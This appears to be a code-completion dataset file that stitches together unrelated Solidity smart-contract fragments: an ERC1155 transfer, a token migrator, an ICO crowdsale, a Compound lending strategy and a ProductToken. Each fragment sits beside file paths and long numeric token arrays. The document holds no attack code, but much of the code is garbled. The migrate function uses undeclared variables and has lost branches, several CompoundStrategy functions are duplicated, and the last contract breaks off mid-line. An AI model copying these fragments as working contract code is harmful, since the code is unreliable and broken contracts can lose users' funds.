memory) { uint256[] memory array = new uint256[](1); array[0] = element; return array; } }
* @dev See {IERC1155-safeTransferFrom}./
function safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes memory data ) public virtual override { require( from == _msgSender() || isApprovedForAll(from, _msgSender()), "GenArtTokenAirdropPass: caller is not owner nor approved" ); _safeTransferFrom(from, to, id, amount, data); }
11,994,839
[ 1, 9704, 288, 45, 654, 39, 2499, 2539, 17, 4626, 5912, 1265, 5496, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 4183, 5912, 1265, 12, 203, 3639, 1758, 628, 16, 203, 3639, 1758, 358, 16, 203, 3639, 2254, 5034, 612, 16, 203, 3639, 2254, 5034, 3844, 16, 203, 3639, 1731, 3778, 501, 203, 565, 262, 1071, 5024, 3849, 288, 203, 3639, 2583, 12, 203, 5411, 628, 422, 389, 3576, 12021, 1435, 747, 353, 31639, 1290, 1595, 12, 2080, 16, 389, 3576, 12021, 1435, 3631, 203, 5411, 315, 7642, 4411, 1345, 37, 6909, 1764, 6433, 30, 4894, 353, 486, 3410, 12517, 20412, 6, 203, 3639, 11272, 203, 3639, 389, 4626, 5912, 1265, 12, 2080, 16, 358, 16, 612, 16, 3844, 16, 501, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/42/0xfD01C7A8fEF3Fc2612144295336B68da8d198Bd9/sources/AToken2PTokenMigrator.sol
验证需要转换的两个代币是否正确将pToken转给用户将pToken转给用户
function migrate(address aToken, address payable pToken, uint amount) public { address self = address(this); ATokenInterface aTokenInstance = ATokenInterface(aToken); address underlyingAssetAddress = aTokenInstance.underlyingAssetAddress(); if (underlyingAssetAddress == address(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE)) { PEther pEth = PEther(pToken); require(compareStrings(pEth.symbol(), "pETH"), "aToken and pToken not match"); PERC20 pErc20 = PERC20(pToken); require(pErc20.underlying() == underlyingAssetAddress, "aToken and pToken not match"); } uint aTokenBalance = aTokenInstance.balanceOf(msg.sender); require(amount <= aTokenBalance, "error amount"); aTokenInstance.transferFrom(msg.sender, self, amount); aTokenInstance.redeem(amount); uint afterBalance = _getTokenBalance(underlyingAssetAddress); uint redeemedBalance = afterBalance.sub(beforeBalance); if (underlyingAssetAddress == address(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE)) { PEther newLpToken = PEther(pToken); uint pTokenBeforeBalance = _getTokenBalance(pToken); uint pTokenAfterBalance = _getTokenBalance(pToken); mintedBalance = pTokenAfterBalance.sub(pTokenBeforeBalance); newLpToken.transferFrom(self, msg.sender, mintedBalance); PERC20 newLpToken = PERC20(pToken); uint pTokenBeforeBalance = _getTokenBalance(pToken); IERC20(underlyingAssetAddress).approve(address(newLpToken), redeemedBalance); newLpToken.mint(redeemedBalance); uint pTokenAfterBalance = _getTokenBalance(pToken); mintedBalance = pTokenAfterBalance.sub(pTokenBeforeBalance); newLpToken.transferFrom(self, msg.sender, mintedBalance); } }
8,846,041
[ 1, 170, 108, 239, 169, 112, 228, 170, 255, 227, 169, 104, 228, 169, 126, 110, 167, 240, 100, 168, 253, 231, 165, 121, 102, 165, 121, 108, 165, 124, 101, 166, 121, 228, 167, 251, 112, 166, 243, 104, 167, 260, 101, 168, 99, 111, 166, 113, 233, 84, 1345, 169, 126, 110, 168, 124, 252, 168, 247, 106, 167, 235, 120, 166, 113, 233, 84, 1345, 169, 126, 110, 168, 124, 252, 168, 247, 106, 167, 235, 120, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 13187, 12, 2867, 279, 1345, 16, 1758, 8843, 429, 293, 1345, 16, 2254, 3844, 13, 1071, 288, 203, 203, 3639, 1758, 365, 273, 1758, 12, 2211, 1769, 203, 203, 3639, 432, 1345, 1358, 279, 1345, 1442, 273, 432, 1345, 1358, 12, 69, 1345, 1769, 203, 3639, 1758, 6808, 6672, 1887, 273, 279, 1345, 1442, 18, 9341, 6291, 6672, 1887, 5621, 203, 203, 3639, 309, 261, 9341, 6291, 6672, 1887, 422, 1758, 12, 20, 17432, 1340, 1340, 41, 1340, 73, 41, 73, 41, 1340, 41, 73, 41, 73, 41, 1340, 9383, 41, 1340, 1340, 41, 1340, 1340, 1340, 73, 9383, 73, 41, 3719, 288, 203, 5411, 16628, 1136, 293, 41, 451, 273, 16628, 1136, 12, 84, 1345, 1769, 203, 5411, 2583, 12, 9877, 7957, 12, 84, 41, 451, 18, 7175, 9334, 315, 84, 1584, 44, 6, 3631, 315, 69, 1345, 471, 293, 1345, 486, 845, 8863, 203, 5411, 10950, 39, 3462, 293, 41, 1310, 3462, 273, 10950, 39, 3462, 12, 84, 1345, 1769, 203, 5411, 2583, 12, 84, 41, 1310, 3462, 18, 9341, 6291, 1435, 422, 6808, 6672, 1887, 16, 315, 69, 1345, 471, 293, 1345, 486, 845, 8863, 203, 3639, 289, 203, 203, 3639, 2254, 279, 1345, 13937, 273, 279, 1345, 1442, 18, 12296, 951, 12, 3576, 18, 15330, 1769, 203, 3639, 2583, 12, 8949, 1648, 279, 1345, 13937, 16, 315, 1636, 3844, 8863, 203, 203, 3639, 279, 1345, 1442, 18, 13866, 1265, 12, 3576, 18, 15330, 16, 365, 16, 3844, 1769, 203, 203, 3639, 279, 1345, 1442, 18, 266, 24903, 12, 2 ]
pragma solidity ^0.4.19; import "./Agricoin.sol"; import "./Owned.sol"; contract Ico is Owned { enum State { Runned, // Ico is running. Paused, // Ico was paused. Finished, // Ico has finished successfully. Expired, // Ico has finished unsuccessfully. Failed } // Refund event. event Refund(address indexed investor, uint amount); // Investment event. event Invested(address indexed investor, uint amount); // End of ICO event. event End(bool result); // Ico constructor. function Ico( address tokenAddress, // Agricoin contract address. uint tokenPreIcoPrice, // Price of Agricoin in weis on Pre-ICO. uint tokenIcoPrice, // Price of Agricoin in weis on ICO. uint preIcoStart, // Date of Pre-ICO start. uint preIcoEnd, // Date of Pre-ICO end. uint icoStart, // Date of ICO start. uint icoEnd, // Date of ICO end. uint preIcoEmissionTarget, // Max number of Agricoins, which will be minted on Pre-ICO. uint icoEmissionTarget, // Max number of Agricoins, which will be minted on ICO. uint icoSoftCap) public { owner = msg.sender; token = tokenAddress; state = State.Runned; // Save prices. preIcoPrice = tokenPreIcoPrice; icoPrice = tokenIcoPrice; // Save dates. startPreIcoDate = preIcoStart; endPreIcoDate = preIcoEnd; startIcoDate = icoStart; endIcoDate = icoEnd; preIcoTarget = preIcoEmissionTarget; icoTarget = icoEmissionTarget; softCap = icoSoftCap; } // Returns true if ICO is active now. function isActive() public view returns (bool) { return state == State.Runned; } // Returns true if date in Pre-ICO period. function isRunningPreIco(uint date) public view returns (bool) { return startPreIcoDate <= date && date <= endPreIcoDate; } // Returns true if date in ICO period. function isRunningIco(uint date) public view returns (bool) { return startIcoDate <= date && date <= endIcoDate; } // Fallback payable function. function () external payable { // Initialize variables here. uint value; uint rest; uint amount; if (state == State.Failed) { amount = invested[msg.sender] + investedOnPreIco[msg.sender];// Save amount of invested weis for user. invested[msg.sender] = 0;// Set amount of invested weis to zero. investedOnPreIco[msg.sender] = 0; Refund(msg.sender, amount);// Call refund event. msg.sender.transfer(amount + msg.value);// Returns funds to user. return; } if (state == State.Expired)// Unsuccessful end of ICO. { amount = invested[msg.sender];// Save amount of invested weis for user. invested[msg.sender] = 0;// Set amount of invested weis to zero. Refund(msg.sender, amount);// Call refund event. msg.sender.transfer(amount + msg.value);// Returns funds to user. return; } require(state == State.Runned);// Only for active contract. if (now >= endIcoDate)// After ICO period. { if (Agricoin(token).totalSupply() + Agricoin(token).totalSupplyOnIco() >= softCap)// Minted Agricoin amount above fixed SoftCap. { state = State.Finished;// Set state to Finished. // Get Agricoin info for bounty. uint decimals = Agricoin(token).decimals(); uint supply = Agricoin(token).totalSupply() + Agricoin(token).totalSupplyOnIco(); // Transfer bounty funds to Bounty contract. if (supply >= 1500000 * decimals) { Agricoin(token).mint(bounty, 300000 * decimals, true); } else if (supply >= 1150000 * decimals) { Agricoin(token).mint(bounty, 200000 * decimals, true); } else if (supply >= 800000 * decimals) { Agricoin(token).mint(bounty, 100000 * decimals, true); } Agricoin(token).activate(true);// Activate Agricoin contract. End(true);// Call successful end event. msg.sender.transfer(msg.value);// Returns user's funds to user. return; } else// Unsuccessful end. { state = State.Expired;// Set state to Expired. Agricoin(token).activate(false);// Activate Agricoin contract. msg.sender.transfer(msg.value);// Returns user's funds to user. End(false);// Call unsuccessful end event. return; } } else if (isRunningPreIco(now))// During Pre-ICO. { require(investedSumOnPreIco / preIcoPrice < preIcoTarget);// Check for target. if ((investedSumOnPreIco + msg.value) / preIcoPrice >= preIcoTarget)// Check for target with new weis. { value = preIcoTarget * preIcoPrice - investedSumOnPreIco;// Value of invested weis without change. require(value != 0);// Check value isn't zero. investedSumOnPreIco = preIcoTarget * preIcoPrice;// Max posible number of invested weis in to Pre-ICO. investedOnPreIco[msg.sender] += value;// Increase invested funds by investor. Invested(msg.sender, value);// Call investment event. Agricoin(token).mint(msg.sender, value / preIcoPrice, false);// Mint some Agricoins for investor. msg.sender.transfer(msg.value - value);// Returns change to investor. return; } else { rest = msg.value % preIcoPrice;// Calculate rest/change. require(msg.value - rest >= preIcoPrice); investedSumOnPreIco += msg.value - rest; investedOnPreIco[msg.sender] += msg.value - rest; Invested(msg.sender, msg.value - rest);// Call investment event. Agricoin(token).mint(msg.sender, msg.value / preIcoPrice, false);// Mint some Agricoins for investor. msg.sender.transfer(rest);// Returns change to investor. return; } } else if (isRunningIco(now))// During ICO. { require(investedSumOnIco / icoPrice < icoTarget);// Check for target. if ((investedSumOnIco + msg.value) / icoPrice >= icoTarget)// Check for target with new weis. { value = icoTarget * icoPrice - investedSumOnIco;// Value of invested weis without change. require(value != 0);// Check value isn't zero. investedSumOnIco = icoTarget * icoPrice;// Max posible number of invested weis in to ICO. invested[msg.sender] += value;// Increase invested funds by investor. Invested(msg.sender, value);// Call investment event. Agricoin(token).mint(msg.sender, value / icoPrice, true);// Mint some Agricoins for investor. msg.sender.transfer(msg.value - value);// Returns change to investor. return; } else { rest = msg.value % icoPrice;// Calculate rest/change. require(msg.value - rest >= icoPrice); investedSumOnIco += msg.value - rest; invested[msg.sender] += msg.value - rest; Invested(msg.sender, msg.value - rest);// Call investment event. Agricoin(token).mint(msg.sender, msg.value / icoPrice, true);// Mint some Agricoins for investor. msg.sender.transfer(rest);// Returns change to investor. return; } } else { revert(); } } // Pause contract. function pauseIco() onlyOwner external { require(state == State.Runned);// Only from Runned state. state = State.Paused;// Set state to Paused. } // Continue paused contract. function continueIco() onlyOwner external { require(state == State.Paused);// Only from Paused state. state = State.Runned;// Set state to Runned. } // End contract unsuccessfully. function endIco() onlyOwner external { require(state == State.Paused);// Only from Paused state. state = State.Failed;// Set state to Expired. } // Get invested ethereum. function getEthereum() onlyOwner external returns (uint) { require(state == State.Finished);// Only for successfull ICO. uint amount = this.balance;// Save balance. msg.sender.transfer(amount);// Transfer all funds to owner address. return amount;// Returns amount of transfered weis. } // Get invested ethereum from Pre ICO. function getEthereumFromPreIco() onlyOwner external returns (uint) { require(now >= endIcoDate); uint value = investedSumOnPreIco; investedSumOnPreIco = 0; msg.sender.transfer(value); return value; } // Invested balances. mapping (address => uint) invested; mapping (address => uint) investedOnPreIco; // State of contract. State public state; // Agricoin price in weis on Pre-ICO. uint public preIcoPrice; // Agricoin price in weis on ICO. uint public icoPrice; // Date of Pre-ICO start. uint public startPreIcoDate; // Date of Pre-ICO end. uint public endPreIcoDate; // Date of ICO start. uint public startIcoDate; // Date of ICO end. uint public endIcoDate; // Agricoin contract address. address public token; // Bounty contract address. address public bounty; // Invested sum in weis on Pre-ICO. uint public investedSumOnPreIco = 0; // Invested sum in weis on ICO. uint public investedSumOnIco = 0; // Target in tokens minted on Pre-ICo. uint public preIcoTarget; // Target in tokens minted on ICO. uint public icoTarget; // SoftCap fot this ICO. uint public softCap; }
Call investment event.
Invested(msg.sender, msg.value - rest);
5,518,091
[ 1, 1477, 2198, 395, 475, 871, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 7734, 5454, 3149, 12, 3576, 18, 15330, 16, 1234, 18, 1132, 300, 3127, 1769, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/1/0x36abc8fe8e20Bc4637EdA83B5AD9810e9e54Bf13/sources/CompoundStrategy.sol
* @dev Deposit a amount of asset into the platform @param _asset Address for the asset @param _amount Units of asset to deposit/* @dev Withdraw an amount of asset from the platform. @param _recipient Address to which the asset should be sent @param _asset Address of the asset @param _amount Units of asset to withdraw/* @dev Withdraw all assets from strategy sending assets to Vault./* @dev Get the total asset value held in the platform. This includes any interest that was generated since depositing. @param _asset Address of the asset @return balance Total value of the asset in the platform/* @dev Check if an asset is supported. @param _asset Address of the asset @return bool Whether asset is supported/ File: contracts/strategies/CompoundStrategy.sol* @title OUSD Compound Strategy @notice Investment strategy for investing stablecoins via Compound @author Origin Protocol Inc/
contract CompoundStrategy is InitializableAbstractStrategy { event SkippedWithdrawal(address asset, uint256 amount); function _abstractSetPToken(address _asset, address _pToken) internal; function safeApproveAllTokens() external; function deposit(address _asset, uint256 _amount) external; function withdraw( address _recipient, address _asset, uint256 _amount ) external; function withdrawAll() external; function checkBalance(address _asset) external view returns (uint256 balance); function supportsAsset(address _asset) external view returns (bool); } pragma solidity 0.5.11; function collectRewardToken() external onlyVault nonReentrant { ICERC20 cToken = _getCTokenFor(assetsMapped[0]); IComptroller comptroller = IComptroller(cToken.comptroller()); comptroller.claimComp(address(this)); IERC20 rewardToken = IERC20(rewardTokenAddress); uint256 balance = rewardToken.balanceOf(address(this)); emit RewardTokenCollected(vaultAddress, balance); rewardToken.safeTransfer(vaultAddress, balance); } function deposit(address _asset, uint256 _amount) external onlyVault nonReentrant { require(_amount > 0, "Must deposit something"); ICERC20 cToken = _getCTokenFor(_asset); emit Deposit(_asset, address(cToken), _amount); require(cToken.mint(_amount) == 0, "cToken mint failed"); } function withdraw( address _recipient, address _asset, uint256 _amount ) external onlyVault nonReentrant { require(_amount > 0, "Must withdraw something"); require(_recipient != address(0), "Must specify recipient"); ICERC20 cToken = _getCTokenFor(_asset); uint256 cTokensToRedeem = _convertUnderlyingToCToken(cToken, _amount); if (cTokensToRedeem == 0) { emit SkippedWithdrawal(_asset, _amount); return; } emit Withdrawal(_asset, address(cToken), _amount); require(cToken.redeemUnderlying(_amount) == 0, "Redeem failed"); IERC20(_asset).safeTransfer(_recipient, _amount); } function withdraw( address _recipient, address _asset, uint256 _amount ) external onlyVault nonReentrant { require(_amount > 0, "Must withdraw something"); require(_recipient != address(0), "Must specify recipient"); ICERC20 cToken = _getCTokenFor(_asset); uint256 cTokensToRedeem = _convertUnderlyingToCToken(cToken, _amount); if (cTokensToRedeem == 0) { emit SkippedWithdrawal(_asset, _amount); return; } emit Withdrawal(_asset, address(cToken), _amount); require(cToken.redeemUnderlying(_amount) == 0, "Redeem failed"); IERC20(_asset).safeTransfer(_recipient, _amount); } function withdrawAll() external onlyVaultOrGovernor nonReentrant { for (uint256 i = 0; i < assetsMapped.length; i++) { ICERC20 cToken = _getCTokenFor(assetsMapped[i]); if (cToken.balanceOf(address(this)) > 0) { require( cToken.redeem(cToken.balanceOf(address(this))) == 0, "Redeem failed" ); IERC20 asset = IERC20(assetsMapped[i]); asset.safeTransfer( vaultAddress, asset.balanceOf(address(this)) ); } } } function withdrawAll() external onlyVaultOrGovernor nonReentrant { for (uint256 i = 0; i < assetsMapped.length; i++) { ICERC20 cToken = _getCTokenFor(assetsMapped[i]); if (cToken.balanceOf(address(this)) > 0) { require( cToken.redeem(cToken.balanceOf(address(this))) == 0, "Redeem failed" ); IERC20 asset = IERC20(assetsMapped[i]); asset.safeTransfer( vaultAddress, asset.balanceOf(address(this)) ); } } } function withdrawAll() external onlyVaultOrGovernor nonReentrant { for (uint256 i = 0; i < assetsMapped.length; i++) { ICERC20 cToken = _getCTokenFor(assetsMapped[i]); if (cToken.balanceOf(address(this)) > 0) { require( cToken.redeem(cToken.balanceOf(address(this))) == 0, "Redeem failed" ); IERC20 asset = IERC20(assetsMapped[i]); asset.safeTransfer( vaultAddress, asset.balanceOf(address(this)) ); } } } function checkBalance(address _asset) external view returns (uint256 balance) { ICERC20 cToken = _getCTokenFor(_asset); balance = _checkBalance(cToken); } function _checkBalance(ICERC20 _cToken) internal view returns (uint256 balance) { uint256 cTokenBalance = _cToken.balanceOf(address(this)); uint256 exchangeRate = _cToken.exchangeRateStored(); balance = cTokenBalance.mul(exchangeRate).div(1e18); } function supportsAsset(address _asset) external view returns (bool) { return assetToPToken[_asset] != address(0); } function safeApproveAllTokens() external { uint256 assetCount = assetsMapped.length; for (uint256 i = 0; i < assetCount; i++) { address asset = assetsMapped[i]; address cToken = assetToPToken[asset]; IERC20(asset).safeApprove(cToken, 0); IERC20(asset).safeApprove(cToken, uint256(-1)); } } function safeApproveAllTokens() external { uint256 assetCount = assetsMapped.length; for (uint256 i = 0; i < assetCount; i++) { address asset = assetsMapped[i]; address cToken = assetToPToken[asset]; IERC20(asset).safeApprove(cToken, 0); IERC20(asset).safeApprove(cToken, uint256(-1)); } } function _abstractSetPToken(address _asset, address _cToken) internal { IERC20(_asset).safeApprove(_cToken, 0); IERC20(_asset).safeApprove(_cToken, uint256(-1)); } function _getCTokenFor(address _asset) internal view returns (ICERC20) { address cToken = assetToPToken[_asset]; require(cToken != address(0), "cToken does not exist"); return ICERC20(cToken); } function _convertUnderlyingToCToken(ICERC20 _cToken, uint256 _underlying) internal view returns (uint256 amount) { uint256 exchangeRate = _cToken.exchangeRateStored(); amount = _underlying.mul(1e18).div(exchangeRate); } }
15,483,047
[ 1, 758, 1724, 279, 3844, 434, 3310, 1368, 326, 4072, 225, 389, 9406, 9079, 5267, 364, 326, 3310, 225, 389, 8949, 2868, 27845, 434, 3310, 358, 443, 1724, 19, 225, 3423, 9446, 392, 3844, 434, 3310, 628, 326, 4072, 18, 225, 389, 20367, 540, 5267, 358, 1492, 326, 3310, 1410, 506, 3271, 225, 389, 9406, 2398, 5267, 434, 326, 3310, 225, 389, 8949, 5411, 27845, 434, 3310, 358, 598, 9446, 19, 225, 3423, 9446, 777, 7176, 628, 6252, 5431, 7176, 358, 17329, 18, 19, 225, 968, 326, 2078, 3310, 460, 15770, 316, 326, 4072, 18, 1377, 1220, 6104, 1281, 16513, 716, 1703, 4374, 3241, 443, 1724, 310, 18, 225, 389, 9406, 1377, 5267, 434, 326, 3310, 327, 11013, 565, 10710, 460, 434, 326, 3310, 316, 326, 4072, 19, 225, 2073, 309, 392, 3310, 353, 3260, 18, 225, 389, 9406, 565, 5267, 434, 326, 3310, 327, 1426, 377, 17403, 3310, 2 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
[ 1, 16351, 21327, 4525, 353, 10188, 6934, 7469, 4525, 288, 203, 565, 871, 6611, 1845, 1190, 9446, 287, 12, 2867, 3310, 16, 2254, 5034, 3844, 1769, 203, 203, 565, 445, 389, 17801, 694, 52, 1345, 12, 2867, 389, 9406, 16, 1758, 389, 84, 1345, 13, 2713, 31, 203, 203, 565, 445, 4183, 12053, 537, 1595, 5157, 1435, 3903, 31, 203, 203, 565, 445, 443, 1724, 12, 2867, 389, 9406, 16, 2254, 5034, 389, 8949, 13, 3903, 31, 203, 203, 565, 445, 598, 9446, 12, 203, 3639, 1758, 389, 20367, 16, 203, 3639, 1758, 389, 9406, 16, 203, 3639, 2254, 5034, 389, 8949, 203, 565, 262, 3903, 31, 203, 203, 565, 445, 598, 9446, 1595, 1435, 3903, 31, 203, 203, 565, 445, 866, 13937, 12, 2867, 389, 9406, 13, 203, 3639, 3903, 203, 3639, 1476, 203, 3639, 1135, 261, 11890, 5034, 11013, 1769, 203, 203, 565, 445, 6146, 6672, 12, 2867, 389, 9406, 13, 3903, 1476, 1135, 261, 6430, 1769, 203, 97, 203, 203, 203, 683, 9454, 18035, 560, 374, 18, 25, 18, 2499, 31, 203, 203, 203, 203, 203, 565, 445, 3274, 17631, 1060, 1345, 1435, 3903, 1338, 12003, 1661, 426, 8230, 970, 288, 203, 3639, 26899, 654, 39, 3462, 276, 1345, 273, 389, 588, 1268, 969, 1290, 12, 9971, 12868, 63, 20, 19226, 203, 3639, 467, 799, 337, 1539, 532, 337, 1539, 273, 467, 799, 337, 1539, 12, 71, 1345, 18, 832, 337, 1539, 10663, 203, 3639, 532, 337, 1539, 18, 14784, 2945, 12, 2867, 12, 2211, 10019, 203, 3639, 467, 654, 39, 3462, 2 ]
// SPDX-License-Identifier: MIT pragma solidity ^0.8.3; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts-upgradeable/utils/math/SafeMathUpgradeable.sol"; import "./ProductToken.sol"; import "./interface/IVNFT.sol"; /// @title ProductTokenV1 /// @notice This is version 1 of the product token implementation. /// @dev This contract builds on top of version 0 by including transaction logics, such as buy and sell transfers /// and exchange rate computation by including a price oracle. contract ProductTokenV1 is ProductToken { using SafeMathUpgradeable for uint256; struct supplierInfo { uint256 amount; address wallet; } struct voucherInfo { address addr; uint256 tokenId; } supplierInfo public supplier; voucherInfo public voucher; IERC20 private high; function setHigh(address highAddress_) external onlyOwner { require(highAddress_!=address(0), "Invalid address"); high = IERC20(highAddress_); } function buy(uint256 maxPrice_) external virtual onlyIfTradable { require(maxPrice_ > 0, "invalid max price"); bool success = high.transferFrom(msg.sender, address(this), maxPrice_); require(success, "Purchase failed."); (uint256 amount,uint256 change, uint price, uint256 fee) = _buy(maxPrice_); if (amount > 0) { if(change > 0) { high.transfer(msg.sender, change); } _updateSupplierFee(fee.mul(1e12).div(4e12)); }else { // If token transaction failed high.transfer(msg.sender, maxPrice_); } } function sell(uint32 amount_) external virtual onlyIfTradable { require(balanceOf(msg.sender) >= amount_ || amount_ > 0, 'invalid amount'); (uint256 price, uint256 fee )= _sellForAmount(amount_); bool success = high.transfer(msg.sender, 